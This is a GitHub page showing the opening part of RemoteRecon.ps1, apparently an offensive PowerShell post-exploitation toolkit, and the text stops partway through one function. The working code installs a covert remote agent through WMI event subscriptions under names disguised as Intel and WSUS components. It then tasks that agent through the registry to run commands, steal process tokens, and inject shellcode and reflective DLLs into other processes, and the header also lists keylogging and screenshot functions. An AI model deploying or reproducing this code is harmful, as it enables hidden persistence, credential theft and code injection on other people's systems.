-
Notifications
You must be signed in to change notification settings - Fork 99
/
RemoteRecon.ps1
2294 lines (1853 loc) · 469 KB
/
RemoteRecon.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
Author: Chris Ross (@xorrior)
License: BSD 3-Clause
Depenencies: .NET v3.5/v4.0
Defined Functions
-----------------
Install-RemoteRecon
Uninstall-RemoteRecon
Set-Sleep
Invoke-TokenImpersonation
Remove-Token
Get-Screenshot
Get-Keystrokes
Invoke-InjectReflectiveDll
Invoke-InjectShellcode
Invoke-PowerShellCmd
Import-Script
#>
function Install-RemoteRecon {
<#
.SYNOPSIS
Use this function to install the RemoteRecon agent on a remote system.
.DESCRIPTION
Use this function to install the RemoteRecon agent on a remote system. Installation involves install a remote
WMI event subscription with an ActiveScriptEventConsumer. The JScript payload for this subscription will be
RemoteRecon. The event will fire upon a change in the Run registry value.
.PARAMETER ComputerName
Host name or IP to target
.PARAMETER Credential
PSCredential to use when authenticating to the remote host
.PARAMETER RegistryPath
Base registry key where RemoteRecon will be installed.
.PARAMETER FilterName
Name to use for the Filter.
.PARAMETER ConsumerName
Name to use for the ActiveScriptEventConsumer.
.EXAMPLE
Install the RemoteRecon agent on a remote system.
Install-RemoteRecon -ComputerName 'Test.Domain.Local'
.EXAMPLE
Install the RemoteRecon agent on a remote system using the specified credentials
Install-RemoteRecon -ComputerName 'Test.Domain.Local' -UserName 'bob' -Password 'miller'
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[parameter(Mandatory=$False)]
[ValidateNotNullOrEmpty()]
[string]$FilterName = 'WSUSFilter',
[parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$ConsumerName = 'WSUSConsumer'
)
$wmiArgs = @{}
$commonArgs = @{}
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
if ($PSBoundParameters['ComputerName']) {
$commonArgs['ComputerName'] = $ComputerName
if($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Setup the registry keys for RemoteRecon C2
$wmiArgs['Namespace'] = 'root\default'
$wmiArgs['Class'] = 'StdRegProv'
$wmiArgs['Name'] = "CreateKey"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath
Write-Verbose "[+] Setting up registry keys for RemoteRecon C2"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Verbose "[-] Unable to create registry key for RemoteRecon"
$result
break
}
$stringValueKeys = @($RunKey,$KeylogKey,$ScreenShotKey,$CommandArgsKey)
$dwordValueKeys = @($CommandKey,$ResultsKey)
$wmiArgs['Name'] = "SetStringValue"
#loop through and set each string value
foreach ($key in $stringValueKeys) {
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"",$key
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Unable to set value for $key registry value. WMI return value: $($result.returnValue)"
}
}
#loop throug and set each DWORD value
$wmiArgs['Name'] = "SetDWORDValue"
foreach ($key in $dwordValueKeys) {
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$key,0
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Unable to set value for $key registry value. WMI return value: $($result.returnValue)"
}
}
#Setup the Remote Wmi event subscription to trigger Remote Recon Execution
$EventFilterArgs = @{
EventNamespace = 'root\cimv2'
Name = $FilterName
Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='$RegistryPath' AND ValueName='$RunKey'"
QueryLanguage = "WQL"
}
Start-Sleep -Seconds 5
#Install the filter
Write-Verbose "[+] Installing the filter"
$Filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments $EventFilterArgs @commonArgs
# Replace the Run function params in the RemoteRecon JS payload
$RemoteReconJS = $RemoteReconJS -replace 'BASE_PATH',$RegistryPath
$RemoteReconJS = $RemoteReconJS -replace 'INIT_KEY',$RunKey
$RemoteReconJS = $RemoteReconJS -replace 'COMMAND_KEY',$CommandKey
$RemoteReconJS = $RemoteReconJS -replace 'COMMAND_ARG_KEY',$CommandArgsKey
$RemoteReconJS = $RemoteReconJS -replace 'COMMAND_RESULT_KEY',$ResultsKey
$RemoteReconJS = $RemoteReconJS -replace 'SCSTORE_KEY',$ScreenShotKey
$RemoteReconJS = $RemoteReconJS -replace 'KLSTORE_KEY',$KeylogKey
$ActiveScriptEventConsumerArgs = @{
Name = $ConsumerName
ScriptingEngine = 'JScript'
ScriptText = $RemoteReconJS
}
#Install the consumer (i.e. The Remote Recon Agent)
Write-Verbose "[+] Installing the ActiveScriptEventConsumer"
$Consumer = Set-WmiInstance -Namespace "root\subscription" -Class "ActiveScriptEventConsumer" -Arguments $ActiveScriptEventConsumerArgs @commonArgs
Start-Sleep -Seconds 5
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
#Setup the filter to consumer binding
Write-Verbose "[+] Creating the FilterToConsumer binding"
Start-Sleep -Seconds 5
$FilterToConsumerBinding = Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments $FilterToConsumerArgs @commonArgs
Write-Verbose "[+] Triggering RemoteRecon execution via the registry on $ComputerName"
Start-Sleep -Seconds 5
$wmiArgs['Name'] = "SetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"Start",$RunKey
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Verbose "[-] Unable to set registry value for $RunKey and trigger RemoteRecon execution"
break
}
Write-Verbose "[+] RemoteRecon started"
#Cleanup our event subscription
Write-Verbose "[+] Cleaning up the subscription"
Start-Sleep -Seconds 5
$EventConsumerToCleanup = Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer -Filter "Name = '$ConsumerName'" @commonArgs
$EventFilterToCleanup = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name = '$FilterName'" @commonArgs
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root\subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" @commonArgs
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
$FilterConsumerBindingToCleanup | Remove-WmiObject
$OutputObject = New-Object -TypeName PSObject
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'BaseRegistryPath' -Value $RegistryPath
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'RunKey' -Value $RunKey
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'CommandKey' -Value $CommandKey
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'CommandArgsKey' -Value $CommandArgsKey
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ResultsKey' -Value $ResultsKey
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ScreeShotResultKey' -Value $ScreenShotKey
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'KeyLogResultKey' -Value $KeylogKey
$OutputObject
}
function Invoke-PowerShellCmd
{
<#
.SYNOPSIS
This function will send a Powershell command to the RemoteRecon agent.
.DESCRIPTION
Send a PowerShell command to the RemoteRecon agent on a target host. The agent will execute the command from within
a PowerShell Runspace.
.PARAMETER ComputerName
Host to target. IP or Hostname
.PARAMETER Credential
PSCredential to authenticate with the target
.PARAMETER Cmd
Powershell command to execute.
.PARAMETER RegistryPath
Base registry path utilized by the agent
.PARAMETER Results
SWITCH. Retrieve the results of the command only.
.EXAMPLE
Execute a powershell command
Invoke-PowerShellCmd -ComputerName '192.168.1.1' -Credential $Credentials -Cmd "ps -name exp*" -Verbose
.EXAMPLE
Retrieve the command result
Invoke-PowerShellCmd -ComputerName '192.168.1.1' -Credential $Credentials -Results
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$Cmd,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[Parameter(Mandatory=$false)]
[switch]$Results
)
$wmiArgs = @{
Namespace = 'root\default'
Class = 'StdRegProv'
Name = 'SetStringValue'
}
$commonArgs = @{}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
$commonArgs['ComputerName'] = $ComputerName
if ($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
$returnObject = New-Object -TypeName PSObject
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Command' -Value 'Invoke-PowerShell'
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Args' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ReturnCode' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Result' -Value ''
if ($PSBoundParameters['Results']) {
# Get the return code
$wmiArgs['Name'] = "GetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ResultsKey
Write-Verbose "[+] Obtaining the return code"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain result for PowerShell command. WMI returnValue: $($result.returnValue)"
}
$returnObject.ReturnCode = $result.uValue
# Get the result of the command if any
$wmiArgs['Name'] = "GetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$RunKey
Write-Verbose "[+] Obtaining the result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain output for PowerShell command. WMI returnValue: $($result.returnValue)"
}
$returnObject.Result = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($result.sValue))
#Cleanup the result
$wmiArgs['Name'] = "SetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"",$RunKey
Write-Verbose "[+] Cleaning up the result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to cleanup PowerShellCmd results. WMI returnValue: $($result.returnValue)"
}
}
else {
#Send the command argument
$returnObject.Args = $Cmd
$enc = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($Cmd))
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$enc,$CommandArgsKey
Write-Verbose "[+] Sending the powershell command argument"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Registry key write for PowerShell key command failed. WMI returnValue: $($result.returnValue)"
}
#send the command
$wmiArgs['Name'] = "SetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$CommandKey,4
Write-Verbose "[+] Sending the powershell command"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to issue PowerShell command. WMI returnValue: $($result.returnValue)"
}
}
$returnObject
}
function Invoke-Impersonation
{
<#
.SYNOPSIS
This function can be used to impersonate/steal a token from a specified process.
.DESCRIPTION
Steal/Impersonate a token from a process. This is done with the OpenProcessToken WinApi call. This token is then passed
to a WindowsIdentity object and then the NewId method. The token will apply to any commands in the agent.
.PARAMETER ComputerName
Host to target
.PARAMETER Credential
PSCredential to use against the target
.PARAMETER ProcessId
Target process to steal the token from
.PARAMETER RegistryPath
Base registry path for the agent.
.PARAMETER Results
SWITCH. Retrieve command results only.
.EXAMPLE
Impersonate/steal the token from pid 4857
Invoke-Impersonation -ComputerName '192.168.1.1' -Credentials $Credential -ProcessId 4857 -Verbose
.EXAMPLE
Retrieve the command result
Invoke-Impersonation -ComputerName '192.168.1.1' -Credentials $Credential -Results
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[int]$ProcessId,
[parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[Parameter(Mandatory=$false)]
[switch]$Results
)
$wmiArgs = @{
Namespace = 'root\default'
Class = 'StdRegProv'
Name = 'SetStringValue'
}
$commonArgs = @{}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
$commonArgs['ComputerName'] = $ComputerName
if ($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
$returnObject = New-Object -TypeName PSObject
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Command' -Value 'Invoke-Impersonation'
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Args' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ReturnCode' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Result' -Value ''
if ($PSBoundParameters['Results']) {
#Get the return code
$wmiArgs['Name'] = "GetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ResultsKey
Write-Verbose "[+] Obtaining the return code"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain result for Impersonate command. WMI returnValue: $($result.returnValue)"
}
$returnObject.ReturnCode = $result.uValue
$wmiArgs['Name'] = "GetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$RunKey
Write-Verbose "[+] Obtaining the command result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain output for Impersonate command. WMI returnValue $($result.returnValue)"
}
$returnObject.Result = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($result.sValue))
$wmiArgs['Name'] = "SetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"",$RunKey
Write-Verbose "[+] Cleaning up the result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to clean up result for Impersonate command. WMI returnValue $($result.returnValue)"
}
}
else {
#Send the command argument
if (-not $PSBoundParameters['ProcessId']) {
Write-Warning "[-] Process ID required"
break
}
$returnObject.Args = $ProcessId
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"$ProcessId",$CommandArgsKey
Write-Verbose "[+] Sending the command argument"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Registry key write for Impersonation key command failed. WMI returnValue: $($result.returnValue)"
}
#send the command
$wmiArgs['Name'] = "SetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$CommandKey,1
Write-Verbose "[+] Sending the command"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to issue impersonate command. WMI returnValue: $($result.returnValue)"
}
}
$returnObject
}
function Invoke-InjectShellcode {
<#
.SYNOPSIS
This function can be used to inject shellcode into a remote process
.DESCRIPTION
This function will inject shellcode into a remote process. Note that there is no logic to detect the bitness of the
shellcode payload.
.PARAMETER ComputerName
Hostname or IP of the target
.PARAMETER Credential
PSCredential object with credentials to use against the target.
.PARAMETER RegistryPath
Base registry path for RemoteRecon
.PARAMETER ProcessId
ID of the target process
.PARAMETER Shellcode
Shellcode payload
.PARAMETER Results
Retrieve the results of the command
.EXAMPLE
Task RemoteRecon to inject shellcode
Invoke-InjectShellcode -ComputerName '192.168.1.5' -Credential $Creds -ProcessId 4444 -Shellcode $rawBytes
.EXAMPLE
Retrieve the result of the InjectShellcode command
Invoke-InjectShellcode -ComputerName '192.168.1.5' -Credential $Creds -Results
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[int]$ProcessId,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[byte[]]$Shellcode,
[Parameter(Mandatory=$false)]
[switch]$Results
)
$wmiArgs = @{
Namespace = 'root\default'
Class = 'StdRegProv'
Name = 'SetStringValue'
}
$commonArgs = @{}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
$commonArgs['ComputerName'] = $ComputerName
if ($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
$returnObject = New-Object -TypeName PSObject
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Command' -Value 'Invoke-InjectShellcode'
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Args' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ReturnCode' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Result' -Value ''
if ($PSBoundParameters['Results']) {
# Get the return code
$wmiArgs['Name'] = "GetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ResultsKey
Write-Verbose "[+] Obtaining the return code"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain result for Shellcode Inject command. WMI returnValue: $($result.returnValue)"
}
$returnObject.ReturnCode = $result.uValue
$wmiArgs['Name'] = "GetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$RunKey
Write-Verbose "[+] Obtaining the command result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain output for Shellcode Inject command. WMI returnValue $($result.returnValue)"
}
$returnObject.Result = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($result.sValue))
$wmiArgs['Name'] = "SetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"",$RunKey
Write-Verbose "[+] Cleaning up the command result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to clean up results for Shellcode Inject command. WMI returnValue $($result.returnValue)"
}
}
else {
#Send the command argument
if (-not $PSBoundParameters['ProcessId'] -or -not $PSBoundParameters['Shellcode']) {
Write-Error "[-] ProcessId and Shellcode parameters required"
break
}
$returnObject.Args = $ProcessId
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"$ProcessId",$CommandArgsKey
Write-Verbose "[+] Sending the command argument"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Registry key write for Shellcode Inject command failed. WMI returnValue: $($result.returnValue)"
}
$bin = [Convert]::ToBase64String($Shellcode)
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$bin,$RunKey
Write-Verbose "[+] Sending the encoded payload"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to write Shellcode. WMI returnValue: $($result.returnValue)"
}
#send the command
$wmiArgs['Name'] = "SetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$CommandKey,10
Write-Verbose "[+] Sending the command"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to issue Shellcode Inject command. WMI returnValue: $($result.returnValue)"
}
}
$returnObject
}
function Invoke-InjectReflectiveDll {
<#
.SYNOPSIS
This function can be used to inject a Stephen Fewer Reflective Dll into a remote process from the agent.
.DESCRIPTION
This function will inject a Stephen Fewer Reflective Dll into a remote process. The agent will use the export "ReflectiveLoader" as
the lpStartAddress parameter for CreateRemoteThread.
.PARAMETER ComputerName
Host to target
.PARAMETER Credential
PSCredential to use against the target host.
.PARAMETER RegistryPath
Base registry path for the Agent
.PARAMETER ProcessId
Id of the target process.
.PARAMETER Dll
Raw bytes of the Reflective Dll
.PARAMETER Results
SWITCH. Return results of this command.
.EXAMPLE
Task RemoteRecn to inject Reflective Dll into pid 4400
Invoke-InjectReflectiveDll -ComputerName 'pwnage.sub.local' -Credential $Credential -ProcessId 4400 -Dll $bytes
.EXAMPLE
Return the results
Invoke-InjectReflectiveDll -ComputerName 'pwnage.sub.local' -Credential $Credential -Results
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[int]$ProcessId,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[byte[]]$Dll,
[Parameter(Mandatory=$false)]
[switch]$Results
)
$wmiArgs = @{
Namespace = 'root\default'
Class = 'StdRegProv'
Name = 'SetStringValue'
}
$commonArgs = @{}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
$commonArgs['ComputerName'] = $ComputerName
if ($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
$returnObject = New-Object -TypeName PSObject
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Command' -Value 'Invoke-InjectReflectiveDll'
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Args' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ReturnCode' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Result' -Value ''
if ($PSBoundParameters['Results']) {
# Get the return code
$wmiArgs['Name'] = "GetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ResultsKey
Write-Verbose "[+] Obtaining the return code"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain result for DllInject command. WMI returnValue: $($result.returnValue)"
}
$returnObject.ReturnCode = $result.uValue
$wmiArgs['Name'] = "GetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$RunKey
Write-Verbose "[+] Obtaining the command result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain output for DllInject command. WMI returnValue $($result.returnValue)"
}
$returnObject.Result = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($result.sValue))
$wmiArgs['Name'] = "SetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"",$RunKey
Write-Verbose "[+] Cleaning up the command result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to clean up results for Inject ReflectiveDll command. WMI returnValue $($result.returnValue)"
}
}
else {
#Send the command argument
if (-not $PSBoundParameters['ProcessId'] -or -not $PSBoundParameters['Dll']) {
Write-Error "[-] ProcessId and Dll parameters required"
break
}
$returnObject.Args = $ProcessId
